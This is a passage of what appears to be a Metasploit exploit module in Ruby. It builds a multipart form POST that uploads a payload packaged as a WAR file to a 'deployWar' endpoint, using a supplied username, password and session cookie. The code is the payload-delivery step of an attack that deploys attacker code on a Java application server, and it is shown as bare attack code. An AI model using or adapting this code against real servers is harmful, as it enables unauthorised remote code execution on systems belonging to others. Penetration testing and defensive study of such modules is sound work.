data = Rex::MIME::Message.new
    data.add_part(payload.to_s, "application/octet-stream", nil, "form-data; name=\"deployWar\"; filename=\"#{app_base}.war\"")

    post_data = data.to_s
    post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
    
    res = send_request_cgi({
      'uri'          => path_tmp,
      'method'       => 'POST',
      'user'         => datastore['USERNAME'],
      'password'     => datastore['PASSWORD'],
      'cookie'       => session_id,
      'data'         => post_data,
      'ctype'        => "multipart/form-data; boundary=#{data.bound}",
    })